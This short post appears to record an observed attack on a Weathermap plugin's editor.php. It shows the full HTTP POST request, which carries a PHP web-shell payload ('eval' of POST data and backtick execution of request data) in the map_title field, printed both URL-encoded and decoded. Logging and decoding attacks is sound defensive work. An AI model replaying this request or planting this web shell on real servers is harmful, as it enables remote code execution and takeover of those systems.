PHP Injection attempt

Malicious PHP Injection attempt
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POST /plugins/weathermap/editor.php?plug=0&mapname=Netmaps.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=%3C?php%20echo(md5(a));%60$_REQUEST%5Bb%5D%60;@eval($_POST%5Bc%5D);?%3E&map_legend=Traffic+Load&map_stamp=Created:+%25b+%25d+%25Y+%25H:%25M:%25S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name HTTP/1.1
User-Agent: User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705
Accept: */*
Accept-Language: zh-cn,en-us;q=0.5
Host: www.mysite.com
Connection: Keep-Alive

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php injection code

encoded
%3C?php%20echo(md5(a));%60$_REQUEST%5Bb%5D%60;@eval($_POST%5Bc%5D);?%3E

decoded
<?php echo(md5(a));`$_REQUEST[b]`;@eval($_POST[c]);?>

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